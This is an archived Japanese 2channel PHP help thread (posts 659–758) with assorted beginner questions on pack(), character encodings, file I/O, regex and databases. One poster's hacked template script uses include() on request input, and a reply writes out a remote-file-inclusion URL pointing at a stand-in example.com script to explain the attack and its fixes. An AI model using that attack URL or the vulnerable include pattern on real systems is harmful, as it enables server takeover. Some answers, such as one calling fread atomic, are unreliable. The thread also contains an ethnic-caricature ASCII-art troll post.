トップページphp
1001コメント318KB

【PHP】下らねぇ質問はここに書き込みやがれ 71

■ このスレッドは過去ログ倉庫に格納されています
0001nobodyさん2008/07/17(木) 19:42:52ID:DVaNTncw
まず読め→【PHP マニュアル】http://www.php.net/manual/ja/
PHPで最良の教本はこの公式マニュアル。市販の書籍は嘘が多いので鵜呑みにしない。
過去スレ、関連スレ、FAQなどは>>2-10辺り
次スレは>>980が立てる。10分以内に立たない場合、宣言してから立てたい人が立てること。

◆前スレ
【PHP】下らねぇ質問はここに書き込みやがれ 70
http://pc11.2ch.net/test/read.cgi/php/1214356448/

◆質問する時の注意
・ 自分のIDを表示させること。(メール欄に何も記述しないこと。空白も入力しちゃダメ)
・ サーバーのOS(Linux、Windows他)、WebサーバーとPHPの種類やバージョン等を明記すること。
・ 己の行った操作、変更などを詳しく明記すること。
・ エラーメッセージはそのまま表記すること。「エラーが出ます」だけでは回答不可。
・ 質問者として、態度をわきまえること。
・ 事前に公式マニュアル、リファレンス本くらいはちゃんと目を通しておくこと。

◆質問後の注意
・偽者防止に必ずIDを表示させること。(メール欄に何も記述しない)
・2回目以降は最初に質問した際のレス番号を名前欄に入れること。
・解決しなくても回答をもらった場合はお礼を言うこと。
 (荒らし、煽りは除く。煽られたときも、無闇に反論せずスルーすること。)

◆回答者への注意
・誰にレスしているのか分からないと困るので、>>(アンカー)をつけて回答すること。

【その他諸注意】
・正規表現・PEAR・テンプレート(Smarty等)・フレームワークは各該当スレへ
・SQLについての質問はデータベース板(PCカテゴリ)の各スレで
0659nobodyさん2008/08/07(木) 04:06:25ID:???
>>658
システム的な理由ではなく、もろもろの事情です;;
すいません、上手く説明できません;;
0660nobodyさん2008/08/07(木) 04:09:19ID:???
try catch汁
0661nobodyさん2008/08/07(木) 04:11:06ID:???
>>659
だからそれを聞いてる
0662nobodyさん2008/08/07(木) 04:18:12ID:???
>>660
ご指摘ありがとうございます。
実際のソースには記述しております。
ありがとうございました。

>>661
「PDOを使わずに…」という条件で作成するというのがテーマでして…。
ただ、それだけです;;
※サーバには、PDOもインストールされているので、使用可能です。
0663nobodyさん2008/08/07(木) 13:17:46ID:???
他環境がどうとかじゃなくて使わないってだけの条件って・・・
宿題ですか?
0664nobodyさん2008/08/07(木) 13:28:22ID:???
>>662
そんな糞条件はやぶり捨てろ。
宿題ですか?
0665nobodyさん2008/08/07(木) 13:28:55ID:???
自分に課したテーマだろ
俺もプログラム能力向上にたまにやる
ただ人に聞いてるようじゃ本末転倒
06666522008/08/07(木) 14:58:02ID:???
>>663,664
宿題ではないです^^;

>>665
ソノ通りです。自分で決めただけです。
おっしゃるとおり、自分で解決しないとダメですよね。
一通り、動作することは確認したのですが、pack部分がどうしても自信がなくて…

そもそもなのですが、今回の問題(質問)は、mysqliやPDOといったことではなくて、pack関数や文字コードについてなのです。

※ここから、憶測と過去の記憶で話をしますので、間違いが大量にあるかと思います。

〜私が認識している「pack関数」の仕様〜
pack関数を使用して、アスキーコードの制御コード部分をバイナリ文字列で作成しています。
 <今回のソースでは以下の部分で使用しています>
 $sSql = str_replace("<" . $nCnt . ">", pack("C", $nCnt), $sSql);//☆1ココ
 $this->p_sSql = str_replace(pack("C", $nIndex), $this->p_oConnect->escape_string($sData), $this->p_sSql);
 if (mb_strpos($this->p_sSql, pack("C", $nCnt)) !== false) {//☆2ココ

例えば、pack("C", 1)とした場合、pack関数は、SOH(ヘッディング開始)の制御コードをバイナリ文字列で作成します。
もっと、簡単に言ってしまえば、"01"というバイナリデータを作成します。
06676522008/08/07(木) 14:58:37ID:???
〜私が認識している文字コード(SJIS)について〜
今回、pack関数を使用して何をしたかったのかというと、
 置換対処となる位置へ制御コードを設定する
です。

なぜ、置換対処となる位置へ制御コードを使用したのかというと、記憶の片隅で
 制御コードと重なる文字(文字コード)はない
と、あったからです。

具体的にいうと、SJISでは、
 あ:82 A0
 い:82 A1
    :
と、文字コードが定義されています。ここで、(XX部分は任意)
 XX 01
もしくは、
01 XX
という文字コードは存在しない。
※SJISの文字コードは、「81 40」から始まるので問題ない。
06686522008/08/07(木) 14:59:42ID:???
〜再度、質問〜
以上のことを踏まえて、
 サニタイジング対象となる文字(クライアントからポストされるデータ)には、制御コードが含まれていることはない
という前提で、置換対処となる文字に制御コードを使用することにしました。
1.上記
   「〜私が認識している「pack関数」の仕様〜」、「〜私が認識している文字コード(SJIS)について〜」
  で、間違っている/誤って解釈している箇所はないでしょうか?
2.今回、置換対象部分に制御コードを使用しましたが、他の値を使用する場合(置換対象部分)どういった値が考えられるでしょうか?

以上、みなさんのお知恵を拝借できればありがたいです。
※説明するのが下手ですよね;;。すいません;;。
0669nobodyさん2008/08/07(木) 15:14:08ID:???
いい加減にしてくれ
0670nobodyさん2008/08/07(木) 15:24:17ID:czWOVMJR
100万件の文字情報を処理するのに、
40分くらい掛かるのですが、これが普通でしょうか?

CPUは3GHzのものを使っているため、
理論的には一秒間に300億件処理できると思っていたのですが、
300億どころか400件ちょっとです。

その差がどこで出るのかちょっと分からないです。
0671nobodyさん2008/08/07(木) 15:30:13ID:???
>>670
クロック数をなんだとおもってるんだwwwww
一クロックに10件ってw
0672nobodyさん2008/08/07(木) 15:31:31ID:???
>>670
いくら何でもひどすぎる
0673nobodyさん2008/08/07(木) 15:32:14ID:???
その処理内容がわからんと判断できん。
0674nobodyさん2008/08/07(木) 15:32:39ID:???
> 理論的には一秒間に300億件処理できる

すげー理論だなw
むしろその理論の根拠を知りたい
0675nobodyさん2008/08/07(木) 15:36:28ID:???
>>670の使ってる鯖は全くロスのない画期的なシステムを積んでいるw
0676nobodyさん2008/08/07(木) 15:36:55ID:czWOVMJR
一秒間に300億件処理できると書いてあったのは、
日経ソフトウェアという雑誌です。
日経が出しているということで信頼できると情報ソースだとは思うのですが。

処理内容についてですが、100万件の文の中に特定の文字列が含まれていないか
検査して、含まれていたら、文字をくっつけたり削除したりする処理です。

最新のCPUを買ってきたので、あまりにも遅すぎて絶句しました。
0677nobodyさん2008/08/07(木) 15:37:13ID:???
>>670
ディスクが遅すぎるんだ。
SSDに変えろ
0678nobodyさん2008/08/07(木) 15:38:34ID:???
>>676
お前の言う1処理と、CPUの単位で使う1処理がまったく違うんだよ。
0679nobodyさん2008/08/07(木) 15:38:34ID:???
>>676
日経は正しいけどCPUがパチモン掴まされたんだよ。
0680nobodyさん2008/08/07(木) 15:39:09ID:???
くだらないレスしてる奴って面白いと思って書いてるのか?

>>670
スレ違い
0681nobodyさん2008/08/07(木) 15:40:28ID:???
>>676
お前のプログラムに無駄な処理が多すぎるから遅いんだよ
CPUの所為にするんじゃありません
0682nobodyさん2008/08/07(木) 15:40:57ID:z7k1C/ZX
>>676
とりあえずGは10億だよ

細かく説明しても分からないだろうから大雑把に言うけど(大雑把だからある意味間違ってるけど)

一秒間に30億処理できるのは、
CPUに与える命令の処理を数段階に分けたうちの一段分の処理です。
SQLで処理させるときはいろいろな命令を組み合わせているので1クロックではすみません。
0683nobodyさん2008/08/07(木) 15:45:59ID:???
まあそのくらいの処理で400件/秒は普通じゃね?
結果の入出力もあるんでしょ?
0684nobodyさん2008/08/07(木) 15:52:30ID:czWOVMJR
すみません、私が勘違いしているようですね。
処理件数としては>>683さんがおっしゃられるように妥当な線なんでしょうね。
分かりました。お騒がせしました。
0685nobodyさん2008/08/07(木) 15:59:50ID:???
無知って罪だよな
0686本質論2008/08/07(木) 17:18:34ID:???
お前たち、昼間からそんな余裕ぶっていると職失うぞw

証券取引の電算化で、場立ちの職員は失業した。
自動改札口の登場で、切符きりの職員も失業した。
ICチップの登場で、数年後にはレジのババも失業する。
そして、自動プログラミング機の登場で、お前等も失業する。
0687nobodyさん2008/08/07(木) 17:18:47ID:???
「では、立ち上げてください」

ガタッ
「はい。立ちました」
0688nobodyさん2008/08/07(木) 17:27:25ID:???
まぁまぁ。誰でも最初は無知でしょ。
彼はここで質問して恥をかくことで、前に進んでいるわけだから
全然オーケーでしょう。

…そのシステムを明日納品というなら話は別ですが。
0689nobodyさん2008/08/07(木) 17:47:39ID:???
自動プログラミングとかマジ最高じゃん
作業効率がぐんと上がる
でも、生きてる間にできるだろうか・・・
0690nobodyさん2008/08/07(木) 18:10:53ID:jtfieMzI
自動プログラミング機があったところで、やっぱり理論的に仕様を構築しなきゃいかんのだろ?
0691nobodyさん2008/08/07(木) 18:12:17ID:???
そこで自動仕様構築機ですよ
0692nobodyさん2008/08/07(木) 18:17:54ID:???
PHPは保守案件多そうだから定年まで後30年は安泰だろw
0693nobodyさん2008/08/07(木) 18:26:41ID:???
そこで自動保守機ですよ
0694nobodyさん2008/08/07(木) 18:30:28ID:???
自動保守機の保守は?
0695nobodyさん2008/08/07(木) 18:57:01ID:???
>>686
> 証券取引の電算化で、場立ちの職員は失業した。
> 自動改札口の登場で、切符きりの職員も失業した。
> ICチップの登場で、数年後にはレジのババも失業する。
> そして、自動プログラミング機の登場で、お前等も失業する。

うーん。失業するようなのは職業の内容によって決まると思うな。

仮に同じ能力を持った人がいたとして、
二人になれば、こなせる作業の量も二倍になるという
ような内容の仕事、つまり作業内容がほぼ同じで並列実行可能な
単純作業は自動化できるから失業するんだよ。

だからこれプログラミングには当てはまらないのね。
0696nobodyさん2008/08/07(木) 18:59:18ID:???
>>695
うおぉ、目が覚めるような達観な意見だわ。
暑い時にも、こういう論理的に物事を観察できる人と仕事したいわ。
0697nobodyさん2008/08/07(木) 19:02:53ID:???
基本的に、IT化によって単純作業は減るだろ。
でも、IT化によって増える単純作業もある。
たとえば、有害サイトを監視する人たち。大量の人力を投入している。
結局、仕事の内容が変わるだけ。だから、路頭に迷うのはその変化について行けない人。
つまり適者生存。自助努力で生存はできるんだよ。だから、ワーキングプアなんていう人は単に努力が足りない怠け者。
0698nobodyさん2008/08/07(木) 19:13:06ID:???
いま酷い自作自演をみた
0699nobodyさん2008/08/07(木) 19:29:18ID:???
プログラミングだって同じ能力の開発メンバーが二つあったら同じ期間で二倍のソフト作れるだろwwwwww
半分の期間で一本つくるとかは無理だけどさ
0700nobodyさん2008/08/07(木) 19:52:55ID:nCGT/HD5
ファイルからの読み込みに関して質問があります。
freadなどによる読み込み処理は基本的にアトミックでしょうか?非アトミックでしょうか?
fwriteに関してはマニュアルに書いてあるのですが、読み込み系の関数については書いてなく、またそれに触れた記述のあるサイトも見つからないので困っています。
どなたかわかるかたいたらよろしくお願いします。
0701nobodyさん2008/08/07(木) 19:54:15ID:???
前者
0702nobodyさん2008/08/07(木) 20:23:41ID:???
>>699
ソフトってのは数をたくさん作るものじゃないからね。

一つのソフトを分業してつくる。
そしてなにより、同じものは作らないのよ。
0703nobodyさん2008/08/07(木) 20:26:54ID:0HdcDnNY
>>702
なに当たり前なこといってんの?w
0704nobodyさん2008/08/07(木) 20:28:45ID:???
       \       やあキム!         ./< `∀´ >∧_∧∧_∧<`∀´ >∧_∧<`∀´>ノ
          \        ∧_∧ ∩       ./∧∧ つ<`∀´∧_∧∧_∧∧∧*`∀´>∧_∧
            \      < `∀´>ノ______  /∧∧ |\ ∧ `∀´ >∧_∧∧_∧∧_∧∧∀´>
     キム!∧ ∧.\    (入   ⌒\フ  /| ./<`Д´>|  \ _人_人_从_人ノヽ_人_人_ ∧∧_∧
         <`∀´ >_\    ヾヽ /\⌒フ/ | /∧_∧)                  て`Д´>`∀´>
     / ̄ ̄∪ ∪ /| .\  || ⌒| ̄ ̄ ̄|    / ∧∧´ >)      キ・ム!! キ・ム!! ( ∧_∧
   /∧_∧ホルホルホル   \    ∧∧∧∧ ./  `Д´> )                   (<`Д´# >
  / < `∀´>_/       \  <  ま  >∧_∧  ⌒Y⌒Y⌒Y⌒Y⌒Y⌒Y⌒Y⌒.∧∧∧_∧
 || ̄(     つ ||/         \<  た  >∧_∧∧_∧< `∀´ >∩∧_∧<`Д´.<`Д´∧_∧
 || <_○___>  ||            <  キ  >∧ ∧ <`∀´*∧_∧∧_∧`∀´>O∧_∧∧∧.∧
――――――――――――――― .<  ム  >―――――――――――――――――――――
         ∧_∧キムを呼べ! <  か  >  ∧_∧  ∧_∧
    ~~・━⊂<`∀´#>⊃-、      ∨∨∨ \   < `∀´> <`∀´ > ←キム
      ///    ノ:: //|     ./    はい\ ( ↑キム)_(    )
      |:::|/< ̄ ヽノ:::::::|::::|/|    /   ∧_∧キ\∧_∧  ∧_∧  ̄ ̄ ̄/.//|
    / ̄<__> ̄ ̄ ./| |  .|   /γ(⌒) `∀´ >ム \`∀´> <  `∀´>  / ┃| |
  / ∧_∧ 三//  |__|/   /(YYて)ノ   ノ  君   \↑キム  ↑\)_/     |__|/
キム→ <    ;>はいニダ      / \  ̄ ̄ ̄ ̄\ !!     \   キム   | | ┃. __
0705nobodyさん2008/08/07(木) 20:32:12ID:???
>>703
正論言って悪かった。

反論できないことはわかっていた。

いじめすぎたと思っている。
07067002008/08/07(木) 20:47:58ID:nCGT/HD5
>>701
ありがとうございます
0707nobodyさん2008/08/07(木) 20:49:27ID:0HdcDnNY
>>702
お前のとこは一度に一本しか開発せんのか?
0708nobodyさん2008/08/07(木) 21:17:08ID:???
今ですら不安定なのに6になったらまたいろいろ変わるからなぁ…
他のやったほうがいいのかな
0709nobodyさん2008/08/07(木) 21:18:03ID:???
うむそうしろ
07107002008/08/07(木) 22:27:04ID:nCGT/HD5
>>701
すいません今試してみたら非アトミックみたいですね
ていうか最初から自分で試せばよかったですねすいません
0711nobodyさん2008/08/07(木) 22:27:23ID:???
そうだね
0712nobodyさん2008/08/07(木) 23:19:09ID:???
PHPはもう終わり。これからはFORTRANの時代がくるお
0713nobodyさん2008/08/07(木) 23:42:16ID:???
Yahooのサイトは、ほとんどがphpで出来ているって知ってた?
0714nobodyさん2008/08/08(金) 00:03:37ID:LL9yeWvg
WEB2.0風のロゴを作ってくれるスクリプトがありますがどういう風に画像を生成しているのでしょうか?流れを教えて頂けると幸いです。
0715nobodyさん2008/08/08(金) 00:16:49ID:???
>>714
どのスクリプト?
07167142008/08/08(金) 01:06:33ID:BmBMQdVo
>>715
http://creatr.cc/creatr/

先ほどは携帯からで情報量が少なくすみませんでした。
上記URLのようなスクリプトを作成するにはどのようにすればよいでしょうか?
GDやImageMagicというようなものを使えばできますか?
また、できるならば処理の流れや参考になるサイトなどを教えて下さい。
お願いします。

PHP
0717nobodyさん2008/08/08(金) 01:45:54ID:???
>>716
http://jp.php.net/gd
http://jp2.php.net/imagick
http://pecl.php.net/package/imagick
0718nobodyさん2008/08/08(金) 01:46:15ID:???
GDで出来そうだな。
処理の流れとしてはsubmitしたときにセッションIDを割り付けてユニークなURLをつくり
JavaScriptのXMLHttpRequestでセッションIDを投げる。
受けるほうはXMLHttpRequestでlistenしなくてもimgタグのsrcを変更すればすむな。
07197142008/08/08(金) 01:56:31ID:???
>>717>>718
かなり参考になりました!ありがとうございます!
0720nobodyさん2008/08/08(金) 15:00:01ID:???
すげーばかww
0721nobodyさん2008/08/08(金) 15:56:19ID:???
preg_replace_callbackを使って特定の文字を別の文字へ変換しようとしています

拡張子を含んだ文字列であり、空白や<br>が来るまでを抽出したいのですが
その拡張子が不定なため、
"files_[A-Za-z]+\..+ "など試しています。
しかしこの場合は空白も持っていかれてしまい結果がくるってしまいます。

空白や<br>特定の文字を抽出し、しかし空白や<br>はパターンにハマらないようにするには
どのようにしたらよいでしょうか。
0722nobodyさん2008/08/08(金) 15:57:09ID:5aObnylF
すみません
IDをだし忘れました>721です
0723nobodyさん2008/08/08(金) 16:26:17ID:EUK3hcbO
予定があり外出しているので携帯からですが

拡張子という事を考えると締めの部分を
\.[0-9A-Za-z]+
とすればでうまく出来そうですね

失礼しました
0724nobodyさん2008/08/08(金) 21:06:31ID:vetvuCDP
http://www.2ch.net/2ch.php?saba=a
のようにパラメータもたせて

<?php
$saba = $_GET[saba];

if($saba == ""){
$saba = 1;
}
switch ($saba){
case 1; $file = "PHP"; break;
case 2; $file = "RERL"; break;
}
html部分
include("$file.php");
<img scr="$file.gif">
html部分
?>

のようにテンプレ表示させるものを組みました。
脆弱性があったらしくサーバを不正利用されてしまいました。
自分で考えてみて
・switchにdefaultをいれなかった
・一部にパーミッションの設定を忘れた(これは直しました)
・.htaccessでindexなしはエラーになるようにしてるのでindex.htmlを作らなかった
など思いついたのですが、自分で気づいていないだけで悪い部分があるのでしょうか?
0725nobodyさん2008/08/08(金) 21:40:42ID:???
>脆弱性があったらしくサーバを不正利用されてしまいました
詳しく
0726nobodyさん2008/08/08(金) 21:44:20ID:vetvuCDP
>>725
いつの間にやら変なファイルがアップされてました。(自分のファイルではありません)
ちなみにファイルアップロード機能はつけてません。
0727nobodyさん2008/08/08(金) 22:18:36ID:???
>>724
外してるかもしれないけど、
>・switchにdefaultをいれなかった
register_globalsがonで
allow_url_opnもonだと
やられちゃうね
http://www.2ch.net/2ch.php?saba=3&file=http://www.example.com/crack-php-script.txt
とかで任意のスクリプトが>>724のサーバー上で実行できる

switch文のdefaultは当然書くとして、
register_globalsはoffに、
includeしてるファイルは動的なコンテンツ?
静的な(ただのhtmlファイル)にして
echo file_get_contents("$file.html");
に出来ないのかな?
0728nobodyさん2008/08/08(金) 22:44:37ID:???
>>727
書き忘れていました(すみません)がレンタルサーバなのでiniファイルの確認ができません。
defaultを付け加えるのとecho file_get_contents("$file.html")で作り直して
register_globalsについては問い合わせてみます。
ありがとうございました。
07297282008/08/08(金) 22:46:19ID:vetvuCDP
間違えてsageチェックしてしまいました。
>>724=>>728です。
0730nobodyさん2008/08/08(金) 22:51:05ID:4kmu6RVl
マイクロソフトのサイトのWindowsUpdateなど、
サーバー側で処理している際に進捗状況を表示させるサイトがありますが、
あれって、phpでどうやるのでしょうか?

画面が変わらずに進捗バーだけが変わる処理って、
設計すら想像ができないのですが、
キーワードだけでもいいので、教えて頂けませんか?
0731nobodyさん2008/08/08(金) 22:51:23ID:???
SMTPでソケット通信してるんですが、telnetでehlo localhosとか送信すると
250-localhost
250-PIPELINING
250 8BITMIME
なんて返ってくると思います。

ストリームを開いた後fgets()を2回実行すれば2回目で「250-PIPELINING」が取れるかと思いきや、
反応が返ってきません。(1行目は返ってくる)
どうやれば2行目を取得できるのでしょうか。
07327002008/08/08(金) 22:51:35ID:+1/Xusuf
昨日の質問(>>700)に関して追加で聞きたいことがあるのですが、
今度は書き込みに関して、書き込むデータのサイズが1バイトである場合にはアトミックであることが保障されますか?
アトミックでないことを確認するのは簡単なんですが、アトミックであることを確認するのは難しく困っております。
どなたかわかるかたよろしくお願いします。
0733nobodyさん2008/08/08(金) 23:10:24ID:???
>>730
Ajax
0734nobodyさん2008/08/08(金) 23:57:15ID:fWWc32nm
php初心者です。

データベースプログラムを書いています。
ph_connect関数を使用してPostgreSQLサーバに接続を行っていますが、
接続に成功 or 失敗したかの戻り値が返却されません。
原因がわかりませんので教えてください。


開発環境は以下の通りです。
■linux
■Apache2.2.8
■PostgreSQL8
■PHP5
0735nobodyさん2008/08/08(金) 23:59:58ID:???
PHPってregister_globalsとか糞な言語だな
0736nobodyさん2008/08/09(土) 00:01:33ID:???
>>734
var_dump
error_reporting
display_errors
0737nobodyさん2008/08/09(土) 00:01:42ID:I6AK6Coj
php初心者です。

データベースプログラムを書いています。
ph_connect関数を使用してPostgreSQLサーバに接続を行っていますが、
接続に成功 or 失敗したかの戻り値が返却されません。
原因がわかりませんので教えてください。


開発環境は以下の通りです。
■linux
■Apache2.2.8
■PostgreSQL8
■PHP5
0738nobodyさん2008/08/09(土) 05:37:49ID:???
ITが高度に進んだ現在、
課長、部長は要らないんですよ。

天才的なエンジニアが一人いて、
それを補佐する秘書役が数人要ればいいんです。

いすに座って、前時代的な価値観で決済する課長や部長に何の価値がありますか?
0739nobodyさん2008/08/09(土) 07:16:36ID:???
エンジニアに秘書とか頭沸いてるんじゃね?
0740nobodyさん2008/08/09(土) 07:32:00ID:???
>>739
お前馬鹿だなw
堀江も元々はエンジニアだったんだよ。
途中から、お金に目がくらんで買収の道に進んじゃったが。
0741nobodyさん2008/08/09(土) 08:30:24ID:???
馬鹿なのはお前だろ知ったそぶりで物語るな
堀江は経営者であって技術者ではない
元々って経歴も調べずに適当なことをいうな
東大在学中にベンチャー起業して中退したんだろ
東大に入ったのも人脈を作るためだけ(テレビでそう語ってる)
仮に堀江がエンジニアだったとしてもエンジニア時代に秘書とかつくわけなかろう
0742nobodyさん2008/08/09(土) 08:46:05ID:CO+6pVsH
質問です
文字数制限最大10文字でフォーム入力を受け付けて、sqlでのカラムの最大文字数も
10文字を設定しているとき、「"12345678"」という入力値を入れられた場合、
クエリ直前でaddslashes()したら実際の送信値は\"123456789\"となりSQL側での
文字数制限はオーバーしてしまいエラーになります。
この問題はどうクリアしたらいいんでしょう?
送信前の文字数チェックの段階ではSQLでの文字数制限の2倍まで許可すればいいんでしょうか?
0743nobodyさん2008/08/09(土) 08:55:30ID:???
>>742
カラムのサイズを大きくするなり、
POSTされてきたデータを正しく処理してから、
格納すれば良いだけの話。
0744nobodyさん2008/08/09(土) 08:55:52ID:???
addslashesなんて使わない
0745nobodyさん2008/08/09(土) 12:44:04ID:???
>>741
これだから馬鹿は・・・ペラの資料で読んだことが全てだとでも?
実際エッジ時代の堀江は技術者でもあったんだよ。

てゆーか弱小ベンチャーに専任技術者なんているわけないだろ。
人なんていないんだから、社長だからって経営だけしてりゃいいってもんじゃないんだよ。
営業やら開発やら、果ては使いっぱにやらせるようなことまで全部やるんだよ。
0746nobodyさん2008/08/09(土) 13:07:01ID:???
>>745
ベンチャーといっても1人でやるわけないだろ。
兄弟でやっている会社で兄は営業、弟は開発っていうところも知っている。
本当に全部やるのは個人でやっているやつだけ。
妄想を語るのは構わないがスレ違いなのに気づいてくれ。
0747nobodyさん2008/08/09(土) 13:40:42ID:???
よそ逝けガキども
0748nobodyさん2008/08/09(土) 13:44:49ID:???
>>742
なんで9が増えてんねん
0749nobodyさん2008/08/09(土) 13:59:22ID:???
そりゃ困るなw
0750nobodyさん2008/08/09(土) 16:18:34ID:dbZpQNfP
あるPHPスクリプトをWebサーバーでうごかしたら所有者がapacheの削除できないディレクトリとファイルを
勝手に作られてしまいました。

アンインストールしてもこれらのディレクトリとファイルがのこってしまってるのですが削除するには
どうすればいいのでしょうか?

話によるとPHPスクリプトなどで削除するしかないらしいとのことですが、こうしたディレクトリとファイルを
削除するスクリプトなどがあるようでしたた教えて頂けませんか?
0751nobodyさん2008/08/09(土) 17:01:52ID:???
>>748
ぶははは
0752nobodyさん2008/08/09(土) 17:03:18ID:???
>>750
rmdir
unlink

PHP関数を知りたいんじゃなくて制作依頼なら、ここは自分で作りたい人のスレなのでどこか別スレへ
0753nobodyさん2008/08/09(土) 17:47:25ID:???
>>752
どうもありがとうございます。
適当に↓のようにやったらできました。

$files = glob( "dir/*" );
foreach( $files as $file ){
unlink($file);
}
rmdir( "dir" );
0754nobodyさん2008/08/09(土) 18:21:46ID:q0bTOCvY
あるPHPスクリプトをWebサーバーでうごかしたら所有者がapacheの削除できないディレクトリとファイルを
勝手に作られてしまいました。

ファイルを削除するPHPスクリプトを使って削除しましたが、
あるPHPスクリプトで作ったファイルの所有者がapacheになるってことは
同じサーバの別の人のPHPスクリプトが作ったファイルの所有権もapacheってことですよね?

ファイルを削除するPHPスクリプトを使って自分のファイルを削除しましたが、
パスを変えれば、他人のスクリプトも削除できるってことじゃないですか?
0755nobodyさん2008/08/09(土) 18:22:51ID:???
やってみれば
0756nobodyさん2008/08/09(土) 19:00:16ID:q0bTOCvY
やってみませんよ。そんな悪いこと。

でも他人がやるかもしれませんよね?
0757nobodyさん2008/08/09(土) 19:01:01ID:???
誰もやらんよそんなこと。
0758nobodyさん2008/08/09(土) 19:12:07ID:z9jw78px
>>754
同じサーバの別の人のPHPスクリプトが作ったファイルの所有権もapacheってことですよね?

所有権はphpで自由に変更できるから、必ずしも所有権がapacheになるわけではない
HomeディレクトリはUnix権限が絡むから単純に所有権がapacheでも削除できないと思う
/var/www/html で共有してるなら別かもしれないけど
■ このスレッドは過去ログ倉庫に格納されています